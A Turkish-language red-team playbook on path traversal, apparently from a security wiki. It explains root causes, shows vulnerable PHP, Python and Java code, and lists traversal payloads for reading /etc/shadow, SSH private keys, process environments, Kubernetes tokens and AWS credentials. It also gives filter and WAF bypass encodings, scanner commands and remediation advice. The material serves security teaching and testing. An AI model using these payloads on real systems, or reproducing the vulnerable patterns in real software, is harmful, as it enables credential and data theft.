Path Traversal (Directory Traversal) Expert Playbook
> Yazar: İlknur Şeyma Uzun
Path Traversal (veya Directory Traversal), bir saldırganın uygulama tarafından kullanılan dosya yolu parametrelerini manipüle ederek, web kök dizini (web root) dışındaki kısıtlı dosya ve dizinlere erişmesine olanak tanıyan kritik bir zafiyettir. Red Team operasyonlarında bu zafiyet, genellikle "Information Disclosure" aşamasından "Remote Code Execution (RCE)" aşamasına geçişte bir köprü görevi görür. Modern mikroservis mimarilerinde ve bulut tabanlı sistemlerde, yanlış yapılandırılmış API uç noktaları ve dosya depolama servisleri nedeniyle hala en yaygın ve tehlikeli zafiyet türlerinden biridir.
How It Works (Teknik Analiz)
Zafiyetin kök nedeni, kullanıcıdan alınan girdinin (filename, path, vb.) işletim sistemi düzeyindeki dosya sistemi API'lerine (açma, okuma, yazma) doğrudan ve doğrulanmadan iletilmesidir. İşletim sistemleri, dosya yollarında gezinmek için özel karakter dizilerini (../ veya ..\) kullanır.
Root Cause Analysis (RCA)
- Dizin Hiyerarşisi: İşletim sistemlerinde
.mevcut dizini,..ise bir üst dizini temsil eder. - Canonicalization (Kanonikleştirme) Sorunu: Uygulama, girdiyi aldığında onu "normalleştirmez". Örneğin,
/var/www/html/images/../../etc/passwdyolu, dosya sistemi tarafından/etc/passwdolarak çözümlenir. - API Güveni: Yazılım, işletim sisteminin sunduğu
fopen(),file_get_contents()veyaos.path.join()gibi fonksiyonlara girdiyi kontrolsüz aktardığında, işletim sistemi bu "traversal" karakterlerini yorumlayarak kısıtlı alanlara erişim sağlar.
Vulnerable Code Patterns
PHP (Geleneksel ve Tehlikeli)
<?php
$file = $_GET['file'];
// Hiçbir filtreleme yok, doğrudan dosya içeriği okunuyor.
include("/var/www/html/public/images/" . $file);
?>
Python (Flask/Django)
@app.route('/download')
def download_file():
filename = request.args.get('filename')
# os.path.join tek başına güvenli değildir if filename starts with '/'
return send_file(os.path.join('/app/storage/reports/', filename))
Java (Servlet)
String filename = request.getParameter("filename");
File file = new File("/data/user_files/", filename);
// file object, traversal karakterlerini (../) içerirse dışarı çıkar.
Detection & Enumeration (Keşif ve Analiz)
Manuel Test Metodolojisi
- Parametre Tespiti: URL'de veya JSON body içerisinde dosya adını andıran parametreleri belirleyin:
?file=,?path=,?doc=,?img=,?view=,?template=. - Basit Fuzzing: Parametreye
../../../../etc/passwd(Linux) veya..\..\..\..\windows\win.ini(Windows) değerlerini göndererek uygulamanın tepkisini ölçün. - Error-Based Analiz: Uygulama hata veriyorsa, hata mesajındaki tam dosya yolunu sızdırmaya çalışın. "File not found: /var/www/data/..." mesajı, kaç dizin yukarı çıkmanız gerektiğini söyler.
Gelişmiş Keşif Payloadları
| İşletim Sistemi | Keşif Payloadı |
|---|---|
| Linux | ../../../../etc/issue |
| Linux (Hassas) | ../../../../etc/shadow |
| Windows | ..\..\..\..\windows\win.ini |
| Java/Web | ../../../../WEB-INF/web.xml |
Attack Vectors & Exploitation
In-Band Path Traversal
En temel sömürü türüdür. Saldırgan, doğrudan HTTP yanıtı içerisinde hedef dosyanın içeriğini görür. Genellikle ?file=../../../etc/passwd şeklinde kullanılır.
Path Traversal with Absolute Path
Uygulama ../ dizilerini filtreliyor olabilir ancak mutlak yolları (absolute paths) engellemeyi unutmuş olabilir.
- Payload:
?file=/etc/passwd
Nested Traversal Sequences (Recursive Bypass)
Uygulama ../ dizisini gördüğü yerde siliyor ancak bunu özyinelemeli (recursive) yapmıyorsa kullanılır.
- Payload:
....//....//....//etc/passwd - Mantık: İçteki
../silindiğinde geriye kalan karakterler tekrar../oluşturur.
Null Byte Poisoning (Legacy Systems)
Eski PHP (<5.3.4) veya bazı C tabanlı sistemlerde, uygulama dosya adının sonuna zorunlu bir uzantı (örn: .jpg) ekliyorsa kullanılır. %00 karakteri dizeyi sonlandırır.
- Payload:
../../../etc/passwd%00.jpg
Path Traversal via ZIP Slip
Uygulama bir ZIP arşivi kabul edip bunu sunucuda açıyorsa, arşiv içerisindeki dosya isimlerine ../../ eklenerek dosya sisteminde istenilen yere dosya yazılabilir (RCE potansiyeli).
Payloads & Advanced Commands
Linux Exfiltration Payloads
Sistem hakkında derin bilgi toplamak için:
# Kullanıcılar ve yetkiler
../../../../etc/passwd
# Mevcut çevresel değişkenler (API keyler sızabilir)
../../../../proc/self/environ
# Mevcut sürecin komut satırı argümanları
../../../../proc/self/cmdline
# SSH Private Key (Eğer kullanıcı dizini biliniyorsa)
../../../../home/user/.ssh/id_rsa
# Network ARP tablosu
../../../../proc/net/arp
Windows Sensitive Files
C:\Windows\win.ini
C:\Windows\system32\drivers\etc\hosts
C:\Users\Administrator\Desktop\desktop.ini
C:\inetpub\wwwroot\web.config
Cloud & Container Payloads
Modern ortamlarda kritik veriler için:
# Kubernetes Token
../../../../var/run/secrets/kubernetes.io/serviceaccount/token
# AWS/Cloud Config (Eğer path biliniyorsa)
../../../../root/.aws/credentials
# Docker Environment
../../../../.dockerenv
Bypass & Obfuscation (Atlatma Teknikleri)
URL Encoding Variations
WAF veya basit filtreleri aşmak için karakterleri farklı formatlarda gönderin.
- Standard URL Encode:
..%2f..%2fetc%2fpasswd - Double URL Encode:
..%252f..%252fetc%252fpasswd(Sunucu tarafında iki kez decode yapılıyorsa çalışır)
Unicode & UTF-8 Obfuscation
- Unicode:
..%u002f..%u002fetc%u002fpasswd - Overlong UTF-8:
..%c0%af..%c0%afetc%c0%afpasswd
Path Normalization Tricks
Bazı web sunucuları (Nginx, Apache) ve uygulama dilleri arasındaki yorum farklarından yararlanılır.
- Nginx/Tomcat Bypass:
..;/..;/etc/passwd - Windows Slash Swap:
..\/..\/etc/passwd(Windows her iki eğik çizgiyi de kabul eder)
Remediation & Prevention (Önleme ve Savunma)
- Indirect Referencing: Dosya adlarını doğrudan kullanıcıdan almayın. Veritabanındaki bir ID ile eşleştirin. (
?file_id=12gibi) - Input Validation: Girdinin sadece alfanümerik karakterler içerdiğinden emin olun (Allow-list).
- Canonicalization: Dosya yolunu kullanmadan önce mutlaka "Kanonikleştirin" (Normalleştirin).
Secure Code Example (Java)
File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
// Sadece BASE_DIRECTORY içindeyse işle
}
- Chroot/Jail: Uygulamayı işletim sisteminde kısıtlı bir dizin (jail) içinde çalıştırın.
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| DotDotPwn | Otomatik traversal tarayıcı | perl dotdotpwn.pl -h 10.10.10.10 -m http |
| FFUF | Fuzzing ve parametre keşfi | ffuf -u http://target/view?file=FUZZ -w lfi_wordlist.txt |
| Burp Suite | Manuel analiz ve Intruder | Intruder -> Payload: Fuzzing - path traversal |
| Shortscan | IIS 8.3 kısa ad keşfi | shortscan http://target/ |
| IIS-ShortName-Scanner | IIS dosya adı sızdırma | java -jar iis_shortname_scanner.jar 20 8 http://target/ |
Yazar: İlknur Şeyma Uzun · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv